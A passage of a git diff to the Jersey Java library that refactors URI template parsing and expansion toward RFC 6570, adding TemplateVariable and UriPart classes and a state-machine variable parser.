(index != builder.length() && (index == 0 || builder.charAt(index - 1) != prefix)) { - builder.insert(index, prefix); - } + private void resolveTemplate(StringBuilder builder, TemplateValueStrategy valueStrategy) { + for (UriPart uriPart : uriParts) { + if (uriPart.isTemplate()) { + builder.append(valueStrategy.valueFor(uriPart, uriPart.getGroup())); } else { - String value = valueStrategy.valueFor(variableName, m.group()); - - if (value != null) { - builder.append(value); - } + builder.append(uriPart.getPart()); } - - i = m.end(); } - builder.append(normalizedTemplate, i, normalizedTemplate.length()); } @Override @@ -756,16 +710,9 @@ public static String createURI( final String path, final String query, final String fragment, final Map values, final boolean encode, final boolean encodeSlashInPath) { - Map stringValues = new HashMap(); - for (Map.Entry e : values.entrySet()) { - if (e.getValue() != null) { - stringValues.put(e.getKey(), e.getValue().toString()); - } - } - - return createURIWithStringValues(scheme, authority, + return createURI(scheme, authority, userInfo, host, port, path, query, fragment, - stringValues, encode, encodeSlashInPath); + new Object[] {}, encode, encodeSlashInPath, values); } /** @@ -800,7 +747,7 @@ public static String createURIWithStringValues( final String path, final String query, final String fragment, final Map values, final boolean encode, final boolean encodeSlashInPath) { - return createURIWithStringValues( + return createURI( scheme, authority, userInfo, host, port, path, query, fragment, EMPTY_VALUES, encode, encodeSlashInPath, values); } @@ -837,17 +784,10 @@ public static String createURI( final String path, final String query, final String fragment, final Object[] values, final boolean encode, final boolean encodeSlashInPath) { - String[] stringValues = new String[values.length]; - for (int i = 0; i < values.length; i++) { - if (values[i] != null) { - stringValues[i] = values[i].toString(); - } - } - - return createURIWithStringValues( + return createURI( scheme, authority, userInfo, host, port, path, query, fragment, - stringValues, encode, encodeSlashInPath); + values, encode, encodeSlashInPath, new HashMap()); } /** @@ -879,13 +819,13 @@ public static String createURIWithStringValues( final String[] values, final boolean encode, final boolean encodeSlashInPath) { final Map mapValues = new HashMap(); - return createURIWithStringValues( + return createURI( scheme, authority, userInfo, host, port, path, query, fragment, values, encode, encodeSlashInPath, mapValues); } - private static String createURIWithStringValues( + private static String createURI( final String scheme, final String authority, final String userInfo, final String host, final String port, - final String path, final String query, final String fragment, final String[] values, final boolean encode, + final String path, final String query, final String fragment, final Object[] values, final boolean encode, final boolean encodeSlashInPath, final Map mapValues) { final StringBuilder sb = new StringBuilder(); @@ -942,9 +882,15 @@ private static String createURIWithStringValues( } if (notEmpty(query)) { - sb.append('?'); + int sbLength = sb.length(); offset = createUriComponent(UriComponent.Type.QUERY_PARAM, query, values, offset, encode, mapValues, sb); + if (sb.length() > sbLength) { + char firstQuery = sb.charAt(sbLength); + if (firstQuery != '?' && (query.trim().charAt(0) != '{' || firstQuery != '&')) { + sb.insert(sbLength, '?'); + } + } } if (notEmpty(fragment)) { @@ -963,7 +909,7 @@ private static boolean notEmpty(String string) { @SuppressWarnings("unchecked") private static int createUriComponent(final UriComponent.Type componentType, String template, - final String[] values, + final Object[] values, final int valueOffset, final boolean encode, final Map _mapValues, @@ -977,33 +923,28 @@ private static int createUriComponent(final UriComponent.Type componentType, } // Find all template variables - template = new UriTemplateParser(template).getNormalizedTemplate(); - + UriTemplateParser templateParser = new UriTemplateParser(template); class ValuesFromArrayStrategy implements TemplateValueStrategy { private int offset = valueOffset; @Override - public String valueFor(String templateVariable, String matchedGroup) { + public String valueFor(UriPart templateVariable, String matchedGroup) { - Object value = mapValues.get(templateVariable); + Object value = mapValues.get(templateVariable.getPart()); if (value == null && offset < values.length) { value = values[offset++]; - mapValues.put(templateVariable, value); + mapValues.put(templateVariable.getPart(), value); } - if (value == null) { + if (value == null && templateVariable.throwWhenNoTemplateArg()) { throw new IllegalArgumentException( - String.format("The template variable '%s' has no value", templateVariable)); - } - if (encode) { - return UriComponent.encode(value.toString(), componentType); - } else { - return UriComponent.contextualEncode(value.toString(), componentType); + String.format("The template variable '%s' has no value", templateVariable.getPart())); } + return templateVariable.resolve(value, componentType, encode); } } ValuesFromArrayStrategy cs = new ValuesFromArrayStrategy(); - resolveTemplate(template, b, cs); + new UriTemplate(templateParser).resolveTemplate(b, cs); return cs.offset; } @@ -1033,25 +974,18 @@ public static String resolveTemplateValues(final UriComponent.Type type, final Map mapValues = (Map) _mapValues; - // Find all template variables - template = new UriTemplateParser(template).getNormalizedTemplate(); - StringBuilder sb = new StringBuilder(); - resolveTemplate(template, sb, new TemplateValueStrategy() { + // Find all template variables + new UriTemplate(new UriTemplateParser(template)).resolveTemplate(sb, new TemplateValueStrategy() { @Override - public String valueFor(String templateVariable, String matchedGroup) { + public String valueFor(UriPart templateVariable, String matchedGroup) { - Object value = mapValues.get(templateVariable); + Object value = mapValues.get(templateVariable.getPart()); if (value != null) { - if (encode) { - value = UriComponent.encode(value.toString(), type); - } else { - value = UriComponent.contextualEncode(value.toString(), type); - } - return value.toString(); + return templateVariable.resolve(value.toString(), type, encode); } else { - if (mapValues.containsKey(templateVariable)) { + if (mapValues.containsKey(templateVariable.getPart())) { throw new IllegalArgumentException( String.format("The value associated of the template value map for key '%s' is 'null'.", templateVariable) diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/internal/TemplateVariable.java b/core-common/src/main/java/org/glassfish/jersey/uri/internal/TemplateVariable.java new file mode 100644 index 00000000000..c5032506f54 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/uri/internal/TemplateVariable.java @@ -0,0 +1,400 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.uri.internal; + +import org.glassfish.jersey.uri.UriComponent; + +import java.util.Collection; +import java.util.Map; + +/** + * The Reserved Expansion template variable representation as per RFC6570. + */ +/* package */ class TemplateVariable extends UriPart { + + protected final Position position; + protected int len = -1; // unlimited + protected boolean star = false; + + TemplateVariable(String part, Position position) { + super(part); + this.position = position; + } + + /** + * Choose the template variable type. The + * @param type Type of the template + * @param part the template content + * @param position the position of the variable in the template. + * @return Subclass of Templatevariable to represent the variable and allowing expansion based on the type of the variable + */ + static TemplateVariable createTemplateVariable(char type, String part, Position position) { + TemplateVariable newType; + switch (type) { + case '+': + newType = new TemplateVariable(part, position); + break; + case '-': // Not supported by RFC + newType = new MinusTemplateVariable(part, position); + break; + case '#': + newType = new HashTemplateVariable(part, position); + break; + case '.': + newType = new DotTemplateVariable(part, position); + break; + case '/': + newType = new SlashTemplateVariable(part, position); + break; + case ';': + newType = new MatrixTemplateVariable(part, position); + break; + case '?': + newType = new QueryTemplateVariable(part, position); + break; + case '&': + newType = new QueryContinuationTemplateVariable(part, position); + break; + default: + //'p' + newType = new PathTemplateVariable(part, position); + break; + } + return newType; + } + + @Override + public boolean isTemplate() { + return true; + } + + @Override + public String getGroup() { + StringBuilder sb = new StringBuilder(); + if (position.isFirst()) { + sb.append('{'); + } else { + sb.append(','); + } + sb.append(getPart()); + if (position.isLast()) { + sb.append('}'); + } + return sb.toString(); + } + + @Override + public String resolve(Object value, UriComponent.Type type, boolean encode) { + if (value == null) { + return ""; + } + return position.isFirst() + ? plainResolve(value, type, encode) + : separator() + plainResolve(value, type, encode); + } + + protected char separator() { + return ','; + } + + protected char keyValueSeparator() { + return star ? '=' : ','; + } + + protected String plainResolve(Object value, UriComponent.Type componentType, boolean encode) { + if (Collection.class.isInstance(value)) { + return ((Collection) value).stream() + .map(a -> plainResolve(a, componentType, encode)) + .reduce("", (a, b) -> a + (a.isEmpty() ? b : separator() + b)); + } else if (Map.class.isInstance(value)) { + return ((Map) value).entrySet().stream() + .map(e -> plainResolve(e.getKey(), componentType, encode) + + keyValueSeparator() + + plainResolve(e.getValue(), componentType, encode)) + .reduce("", (a, b) -> a + (a.isEmpty() ? b : separator() + b)); + } else { + return plainResolve(value.toString(), componentType, encode); + } + } + + protected String plainResolve(String value, UriComponent.Type componentType, boolean encode) { + String val = len == -1 ? value : value.substring(0, Math.min(value.length(), len)); + return encode(val, componentType, encode); + } + + protected String encode(String toEncode, UriComponent.Type componentType, boolean encode) { + if (componentType == null) { + componentType = getDefaultType(); + } + return UriPart.percentEncode(toEncode, componentType, encode); + } + + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.PATH; + } + + void setLength(int len) { + this.len = len; + } + + void setStar(boolean b) { + star = b; + } + + /** + * The default UriBuilder template + */ + private static class PathTemplateVariable extends TemplateVariable { + protected PathTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + public boolean throwWhenNoTemplateArg() { + return true; // The default UriBuilder behaviour + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.PATH; + } + } + + /** + * The template that works according to RFC 6570, Section 3.2.2. + * The default Path works as described in Section 3.2.3, as described by RFC 3986. + */ + private static class MinusTemplateVariable extends TemplateVariable { + protected MinusTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + protected String encode(String toEncode, UriComponent.Type componentType, boolean encode) { + return super.encode(toEncode, UriComponent.Type.QUERY, encode); //Query has the same encoding as Section 3.2.3 + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.QUERY; + } + } + + + /** + * Section 3.2.5 + */ + private static class DotTemplateVariable extends MinusTemplateVariable { + protected DotTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + public String resolve(Object value, UriComponent.Type type, boolean encode) { + if (value == null) { + return ""; + } + return '.' + plainResolve(value, type, encode); + } + + @Override + protected char separator() { + return star ? '.' : super.separator(); + } + } + + /** + * Section 3.2.6 + */ + private static class SlashTemplateVariable extends MinusTemplateVariable { + protected SlashTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + public String resolve(Object value, UriComponent.Type type, boolean encode) { + if (value == null) { + return ""; + } + return '/' + plainResolve(value, type, encode); + } + + @Override + protected char separator() { + return star ? '/' : super.separator(); + } + } + + /** + * Section 3.2.4 + */ + private static class HashTemplateVariable extends TemplateVariable { + protected HashTemplateVariable(String part, Position position) { + super(part, position); + } + + @Override + public String resolve(Object value, UriComponent.Type type, boolean encode) { + return (value == null || !position.isFirst() ? "" : "#") + super.resolve(value, type, encode); + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.PATH; + } + } + + + private abstract static class ExtendedVariable extends TemplateVariable { + + private final Character firstSymbol; + private final char separator; + protected final boolean appendEmpty; + + protected ExtendedVariable(String part, Position position, Character firstSymbol, char separator, boolean appendEmpty) { + super(part, position); + this.firstSymbol = firstSymbol; + this.separator = separator; + this.appendEmpty = appendEmpty; + } + + @Override + public String resolve(Object value, UriComponent.Type componentType, boolean encode) { + if (value == null) { // RFC 6570 + return ""; + } + String sValue = super.plainResolve(value, componentType, encode); + StringBuilder sb = new StringBuilder(); + + if (position.isFirst()) { + sb.append(firstSymbol); + } else { + sb.append(separator); + } + + if (!star) { + sb.append(getPart()); + if (appendEmpty || !sValue.isEmpty()) { + sb.append('=').append(sValue); + } + } else if (!Map.class.isInstance(value)) { + String[] split = sValue.split(String.valueOf(separator())); + for (int i = 0; i != split.length; i++) { + sb.append(getPart()); + sb.append('=').append(split[i]); + if (i != split.length - 1) { + sb.append(separator); + } + } + } else if (Map.class.isInstance(value)) { + sb.append(sValue); + } + return sb.toString(); + } + + @Override + protected char separator() { + return star ? separator : super.separator(); + } + } + + /** + * Section 3.2.7 + */ + private static class MatrixTemplateVariable extends ExtendedVariable { + protected MatrixTemplateVariable(String part, Position position) { + super(part, position, ';', ';', false); + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.QUERY; // For matrix, use query encoding per 6570 + } + + @Override + public String resolve(Object value, UriComponent.Type componentType, boolean encode) { + return super.resolve(value, getDefaultType(), encode); + } + } + + /** + * Section 3.2.8 + */ + private static class QueryTemplateVariable extends ExtendedVariable { + protected QueryTemplateVariable(String part, Position position) { + super(part, position, '?', '&', true); + } + } + + /** + * Section 3.2.9 + */ + private static class QueryContinuationTemplateVariable extends ExtendedVariable { + protected QueryContinuationTemplateVariable(String part, Position position) { + super(part, position, '&', '&', true); + } + + @Override + protected UriComponent.Type getDefaultType() { + return UriComponent.Type.QUERY; + } + + @Override + public String resolve(Object value, UriComponent.Type componentType, boolean encode) { + return super.resolve(value, getDefaultType(), encode); + } + } + + /** + *

    + * Position of the template variable. For instance, template {@code {first, middle, last}} would have three arguments, on + * {@link Position#FIRST}, {@link Position#MIDDLE}, and {@link Position#LAST} positions. + * If only a single argument is in template (most common) e.g. {@code {single}}, the position is {@link Position#SINGLE}. + *

    + *

    + * {@link Position#SINGLE} is first (see {@link Position#isFirst()}) and last (see {@link Position#isLast()}) at the same time. + *

    + */ + + /* package */ static enum Position { + FIRST((byte) 0b1100), + MIDDLE((byte) 0b1010), + LAST((byte) 0b1001), + SINGLE((byte) 0b1111); + + final byte val; + + Position(byte val) { + this.val = val; + } + + /** + * Informs whether the position of the argument is the last in the argument group. + * @return true when the argument is the last. + */ + boolean isLast() { + return (val & LAST.val) == LAST.val; + } + + /** + * Informs whether the position of the argument is the first in the argument group. + * @return true when the argument is the first. + */ + boolean isFirst() { + return (val & FIRST.val) == FIRST.val; + } + } +} diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriPart.java b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriPart.java new file mode 100644 index 00000000000..e808a61622e --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriPart.java @@ -0,0 +1,97 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.uri.internal; + +import org.glassfish.jersey.uri.UriComponent; + +/** + *

    + * This class represents a part of the uri as parsed by the UriTemplateParser. + *

    + *

    + * The UriTemplate parser can produce multiple UriParts, each representing a part of the Uri. One part can represent either + * a static uri part without a template or a template with a single variable. The template with multiple variables generates + * multiple UriParts, each for a single variable. + *

    + */ +public class UriPart { + private final String part; + + UriPart(String part) { + this.part = part; + } + + /** + * Return the string value representing this UriPart. It can either be static content or a template. + * @return string value representing this UriPart + */ + public String getPart() { + return part; + } + + /** + * Return the matching group of the template represented by this {@link UriPart} + * @return the matching group + */ + public String getGroup() { + return part; + } + + /** + * Returns true when this {@link UriPart} is a template with a variable + * @return true when a template + */ + public boolean isTemplate() { + return false; + } + + /** + * Returns the resolved template variable when the value object is passed + * @param value the value object to be used to resolve the template variable + * @param componentType the component type that can be used to determine the encoding os special characters + * @param encode the hint whether to encode or not + * @return the resolved template + */ + public String resolve(Object value, UriComponent.Type componentType, boolean encode) { + return part; + } + + /** + * Informs whether throw {@link IllegalArgumentException} when no object value matches the template argument + * @return {@code true} when when no object value matches the template argument and + * {@link IllegalArgumentException} is to be thrown + */ + public boolean throwWhenNoTemplateArg() { + return false; + } + + /** + * Percent encode the given text + * @param toEncode the given text to encode + * @param componentType the component type to encode + * @param encode toEncode or contextualEncode + * @return the encoded text + */ + public static String percentEncode(String toEncode, UriComponent.Type componentType, boolean encode) { + if (encode) { + toEncode = UriComponent.encode(toEncode, componentType); + } else { + toEncode = UriComponent.contextualEncode(toEncode, componentType); + } + return toEncode; + } +} diff --git a/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java index 8ddcb49e39c..0f5f759ae5e 100644 --- a/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java +++ b/core-common/src/main/java/org/glassfish/jersey/uri/internal/UriTemplateParser.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -61,13 +61,16 @@ private static Set initReserved() { * Default URI template value regexp pattern. */ public static final Pattern TEMPLATE_VALUE_PATTERN = Pattern.compile("[^/]+"); + public static final Pattern TEMPLATE_VALUE_PATTERN_MULTI = Pattern.compile("[^,/]+"); + public static final Pattern MATCH_NUMBER_OF_MAX_LENGTH_4 = Pattern.compile("[1-9][0-9]{0,3}"); private final String template; private final StringBuffer regex = new StringBuffer(); private final StringBuffer normalizedTemplate = new StringBuffer(); private final StringBuffer literalCharactersBuffer = new StringBuffer(); private final Pattern pattern; - private final List names = new ArrayList(); + private final List names = new ArrayList<>(); + private final List parts = new ArrayList<>(); private final List groupCounts = new ArrayList(); private final Map nameToPattern = new HashMap(); private int numOfExplicitRegexes; @@ -143,10 +146,21 @@ public final Map getNameToPattern() { * * @return the list of template names. */ - public final List getNames() { + public final List getNames() { return names; } + /** + * Get a collection of uri parts (static strings and dynamic arguments) as parsed by the parser. + * Can be used to compose the uri. This collection is usually a superset of {@link #getNames() names} + * and other parts that do not have a template. + * + * @return List of parts of the uri. + */ + public List getUriParts() { + return parts; + } + /** * Get the capturing group counts for each template variable. * @@ -248,6 +262,7 @@ private void processLiteralCharacters() { String s = encodeLiteralCharacters(literalCharactersBuffer.toString()); normalizedTemplate.append(s); + parts.add(new UriPart(s)); // Escape if reserved regex character for (int i = 0; i < s.length(); i++) { @@ -289,90 +304,71 @@ private static String[] initHexToUpperCaseRegex() { } private int parseName(final CharacterIterator ci, int skipGroup) { - char c = consumeWhiteSpace(ci); - - char paramType = 'p'; // Normal path param unless otherwise stated - StringBuilder nameBuffer = new StringBuilder(); - - // Look for query or matrix types - if (c == '?' || c == ';') { - paramType = c; - c = ci.next(); - } - - if (Character.isLetterOrDigit(c) || c == '_') { - // Template name character - nameBuffer.append(c); - } else { - throw new IllegalArgumentException(LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_START_NAME(c, ci.pos(), - template)); - } + Variables variables = new Variables(); + variables.parse(ci, template); - String nameRegexString = ""; - while (true) { - c = ci.next(); - // "\\{(\\w[-\\w\\.]*) - if (Character.isLetterOrDigit(c) || c == '_' || c == '-' || c == '.') { - // Template name character - nameBuffer.append(c); - } else if (c == ',' && paramType != 'p') { - // separator allowed for non-path parameter names - nameBuffer.append(c); - } else if (c == ':' && paramType == 'p') { - nameRegexString = parseRegex(ci); - break; - } else if (c == '}') { - break; - } else if (c == ' ') { - c = consumeWhiteSpace(ci); - - if (c == ':') { - nameRegexString = parseRegex(ci); - break; - } else if (c == '}') { - break; - } else { - // Error - throw new IllegalArgumentException( - LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_AFTER_NAME(c, ci.pos(), template)); - } - } else { - throw new IllegalArgumentException( - LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_PART_OF_NAME(c, ci.pos(), template)); - } - } - - String name = nameBuffer.toString(); Pattern namePattern; + // Make sure we display something useful + String name = variables.getName(); + int argIndex = 0; try { - if (paramType == '?' || paramType == ';') { - String[] subNames = name.split(",\\s?"); - + switch (variables.paramType) { + case '?': + case ';': + case '&': // Build up the regex for each of these properties - StringBuilder regexBuilder = new StringBuilder(paramType == '?' ? "\\?" : ";"); - String separator = paramType == '?' ? "\\&" : ";/\\?"; + StringBuilder regexBuilder = new StringBuilder(); + String separator = null; + switch (variables.paramType) { + case '?': + separator = "\\&"; + regexBuilder.append("\\?"); // first symbol + break; + case '&': + separator = "\\&"; + regexBuilder.append("\\&"); // first symbol + break; + case ';': + separator = ";/\\?"; + regexBuilder.append(";"); // first symbol + break; + } + // Start a group because each parameter could repeat // names.add("__" + (paramType == '?' ? "query" : "matrix")); - boolean first = true; + regexBuilder.append('('); + for (String subName : variables.names) { + + TemplateVariable.Position position = determinePosition(variables.separatorCount, argIndex); + TemplateVariable templateVariable = + TemplateVariable.createTemplateVariable(variables.paramType, subName, position); + templateVariable.setStar(variables.explodes(argIndex)); - regexBuilder.append("("); - for (String subName : subNames) { regexBuilder.append("(&?"); regexBuilder.append(subName); regexBuilder.append("(=([^"); regexBuilder.append(separator); - regexBuilder.append("]*))?"); - regexBuilder.append(")"); - if (!first) { - regexBuilder.append("|"); + regexBuilder.append(']'); + if (variables.hasLength(argIndex)) { + regexBuilder.append('{').append(variables.getLength(argIndex)).append('}'); + templateVariable.setLength(variables.getLength(argIndex)); + } else { + regexBuilder.append('*'); } + regexBuilder.append("))?"); + regexBuilder.append(')'); + if (argIndex != 0) { + regexBuilder.append('|'); + } + + names.add(templateVariable); + parts.add(templateVariable); - names.add(subName); groupCounts.add( - first ? 5 : 3); - first = false; + argIndex == 0 ? 5 : 3); + argIndex++; } // groupCounts.add(1); @@ -384,30 +380,104 @@ private int parseName(final CharacterIterator ci, int skipGroup) { namePattern = Pattern.compile(regexBuilder.toString()); // Make sure we display something useful - name = paramType + name; - } else { - names.add(name); - // groupCounts.add(1 + skipGroup); + break; + default: + if (variables.separatorCount == 0) { + if (variables.hasRegexp(0)) { + numOfExplicitRegexes++; + } - if (!nameRegexString.isEmpty()) { - numOfExplicitRegexes++; - } - namePattern = (nameRegexString.isEmpty()) - ? TEMPLATE_VALUE_PATTERN : Pattern.compile(nameRegexString); - if (nameToPattern.containsKey(name)) { - if (!nameToPattern.get(name).equals(namePattern)) { - throw new IllegalArgumentException( - LocalizationMessages.ERROR_TEMPLATE_PARSER_NAME_MORE_THAN_ONCE(name, template)); + TemplateVariable templateVariable = TemplateVariable + .createTemplateVariable(variables.paramType, variables.getName(0), TemplateVariable.Position.SINGLE); + templateVariable.setStar(variables.explodes(0)); + names.add(templateVariable); + parts.add(templateVariable); + // groupCounts.add(1 + skipGroup); + + if (variables.hasLength(0)) { + if (variables.getLength(0) != 0) { + int len = TEMPLATE_VALUE_PATTERN.pattern().length() - 1; + String pattern = TEMPLATE_VALUE_PATTERN.pattern().substring(0, len) + + '{' + variables.getLength(0) + '}'; + namePattern = Pattern.compile(pattern); + } else { + namePattern = TEMPLATE_VALUE_PATTERN; + } + templateVariable.setLength(variables.getLength(0)); + } else { + namePattern = (!variables.hasRegexp(0)) + ? TEMPLATE_VALUE_PATTERN : Pattern.compile(variables.regexp(0)); } + if (nameToPattern.containsKey(name)) { + if (!nameToPattern.get(name).equals(namePattern)) { + throw new IllegalArgumentException( + LocalizationMessages.ERROR_TEMPLATE_PARSER_NAME_MORE_THAN_ONCE(name, template)); + } + } else { + nameToPattern.put(name, namePattern); + } + + // Determine group count of pattern + Matcher m = namePattern.matcher(""); + int g = m.groupCount(); + groupCounts.add(1 + skipGroup); + skipGroup = g; } else { - nameToPattern.put(name, namePattern); + argIndex = 0; + regexBuilder = new StringBuilder(); + + for (String subName : variables.names) { + if (argIndex != 0) { + regexBuilder + .append('(') + .append(','); + } + TemplateVariable.Position position = determinePosition(variables.separatorCount, argIndex); + TemplateVariable templateVariable + = TemplateVariable.createTemplateVariable(variables.paramType, subName, position); + templateVariable.setStar(variables.explodes(argIndex)); + names.add(templateVariable); + parts.add(templateVariable); + + if (variables.hasLength(argIndex)) { + int len = TEMPLATE_VALUE_PATTERN_MULTI.pattern().length() - 1; + String pattern = TEMPLATE_VALUE_PATTERN_MULTI.pattern() + .substring(0, len) + '{' + variables.getLength(argIndex) + '}'; + namePattern = Pattern.compile(pattern); + templateVariable.setLength(variables.getLength(argIndex)); + } else { + namePattern = (!variables.hasRegexp(argIndex)) + ? TEMPLATE_VALUE_PATTERN_MULTI : Pattern.compile(variables.regexp(argIndex)); + } +// TODO breaks RFC 6570 --backward compatibility with default pattern + if (nameToPattern.containsKey(subName) && variables.paramType == 'p') { + if (!nameToPattern.get(subName).equals(namePattern)) { + throw new IllegalArgumentException( + LocalizationMessages.ERROR_TEMPLATE_PARSER_NAME_MORE_THAN_ONCE(name, template)); + } + } else { + nameToPattern.put(subName, namePattern); + } + + regexBuilder + .append('(') + .append(namePattern) + .append(')'); + + if (argIndex != 0) { + regexBuilder.append(")"); + } + + if (!variables.hasRegexp(argIndex)) { + regexBuilder.append("{0,1}"); + } + + argIndex++; + groupCounts.add(2); + } + namePattern = Pattern.compile(regexBuilder.toString()); } - - // Determine group count of pattern - Matcher m = namePattern.matcher(""); - int g = m.groupCount(); - groupCounts.add(1 + skipGroup); - skipGroup = g; + break; } regex.append('(') @@ -418,40 +488,314 @@ private int parseName(final CharacterIterator ci, int skipGroup) { .append(name) .append('}'); } catch (PatternSyntaxException ex) { - throw new IllegalArgumentException( - LocalizationMessages.ERROR_TEMPLATE_PARSER_INVALID_SYNTAX(nameRegexString, name, template), ex); + throw new IllegalArgumentException(LocalizationMessages + .ERROR_TEMPLATE_PARSER_INVALID_SYNTAX(variables.regexp(argIndex), variables.name, template), ex); } // Tell the next time through the loop how many to skip return skipGroup; } - private String parseRegex(final CharacterIterator ci) { - StringBuilder regexBuffer = new StringBuilder(); - - int braceCount = 1; - while (true) { - char c = ci.next(); - if (c == '{') { - braceCount++; - } else if (c == '}') { - braceCount--; - if (braceCount == 0) { - break; + private static TemplateVariable.Position determinePosition(int separatorCount, int argIndex) { + TemplateVariable.Position position = separatorCount == 0 + ? TemplateVariable.Position.SINGLE + : argIndex == 0 + ? TemplateVariable.Position.FIRST + : argIndex == separatorCount ? TemplateVariable.Position.LAST : TemplateVariable.Position.MIDDLE; + return position; + } + + private static class Variables { + private char paramType = 'p'; + private List names = new ArrayList<>(); // names + private List explodes = new ArrayList<>(); // * + private List regexps = new ArrayList<>(); // : regexp + private List lengths = new ArrayList<>(); // :1-9999 + private int separatorCount = 0; + private StringBuilder name = new StringBuilder(); + + private int getCount() { + return names.size(); + } + + private boolean explodes(int index) { + return !explodes.isEmpty() && explodes.get(index); + } + + private boolean hasRegexp(int index) { + return !regexps.isEmpty() && regexps.get(index) != null; + } + + private String regexp(int index) { + return regexps.get(index); + } + + private boolean hasLength(int index) { + return !lengths.isEmpty() && lengths.get(index) != null; + } + + private Integer getLength(int index) { + return lengths.get(index); + } + + private char getParamType() { + return paramType; + } + + private int getSeparatorCount() { + return separatorCount; + } + + private String getName() { + return name.toString(); + } + + private String getName(int index) { + return names.get(index); + } + + private void parse(CharacterIterator ci, String template) { + name.append('{'); + + char c = consumeWhiteSpace(ci); + + StringBuilder nameBuilder = new StringBuilder(); + + // Look for query or matrix types + if (c == '?' || c == ';' || c == '.' || c == '+' || c == '#' || c == '/' || c == '&') { + paramType = c; + c = ci.next(); + name.append(paramType); + } + + if (Character.isLetterOrDigit(c) || c == '_') { + // Template name character + nameBuilder.append(c); + name.append(c); + } else { + throw new IllegalArgumentException(LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_START_NAME(c, ci.pos(), + template)); + } + + StringBuilder regexBuilder = new StringBuilder(); + State state = State.TEMPLATE; + State previousState; + boolean star = false; + boolean whiteSpace = false; + boolean ignoredLastComma = false; + int bracketDepth = 1; // { + int regExpBracket = 0; // [ + int regExpRound = 0; // ( + boolean reqExpSlash = false; // \ + while ((state.value & (State.ERROR.value | State.EXIT.value)) == 0) { + previousState = state; + c = ci.next(); + // "\\{(\\w[-\\w\\.]*) + if (Character.isLetterOrDigit(c)) { + // Template name character + append(c, state, nameBuilder, regexBuilder); + state = state.transition(State.TEMPLATE.value | State.REGEXP.value); + } else switch (c) { + case '_': + case '-': + case '.': + // Template name character + append(c, state, nameBuilder, regexBuilder); + state = state.transition(State.TEMPLATE.value | State.REGEXP.value); + break; + case ',': + switch (state) { + case REGEXP: + if (bracketDepth == 1 && !reqExpSlash && regExpBracket == 0 && regExpRound == 0) { + state = State.COMMA; + } else { + regexBuilder.append(c); + } + break; + case TEMPLATE: + case STAR: + state = State.COMMA; + break; + } + separatorCount++; + break; + case ':': + if (state == State.REGEXP) { + regexBuilder.append(c); + } + state = state.transition(State.TEMPLATE.value | State.REGEXP.value | State.STAR.value, State.REGEXP); + break; + case '*': + state = state.transition(State.TEMPLATE.value | State.REGEXP.value); + if (state == State.TEMPLATE) { + star = true; + state = State.STAR; + } else if (state == State.REGEXP){ + regexBuilder.append(c); + } + break; + case '}': + bracketDepth--; + if (bracketDepth == 0) { + state = State.BRACKET; + } else { + regexBuilder.append(c); + } + break; + case '{': + if (state == State.REGEXP) { + bracketDepth++; + regexBuilder.append(c); + } else { + state = State.ERROR; // Error multiple parenthesis + } + break; + default: + if (!Character.isWhitespace(c)) { + if (state != State.REGEXP) { + state = State.ERROR; // Error - unknown symbol + } else { + switch (c) { + case '(' : + regExpRound++; + break; + case ')': + regExpRound--; + break; + case '[': + regExpBracket++; + break; + case ']': + regExpBracket--; + break; + } + if (c == '\\') { + reqExpSlash = true; + } else { + reqExpSlash = false; + } + regexBuilder.append(c); + } + } + whiteSpace = true; + break; + } + + // Store parsed name, and associated star, regexp, and length + switch (state) { + case COMMA: + case BRACKET: + if (nameBuilder.length() == 0 && regexBuilder.length() == 0 && !star + && name.charAt(name.length() - 1) == ',' /* ignore last comma */) { + if (ignoredLastComma) { // Do not ignore twice + state = State.ERROR; + } else { + name.setLength(name.length() - 1); + ignoredLastComma = true; + } + break; + } + if (regexBuilder.length() != 0) { + String regex = regexBuilder.toString(); + Matcher matcher = MATCH_NUMBER_OF_MAX_LENGTH_4.matcher(regex); + if (matcher.matches()) { + 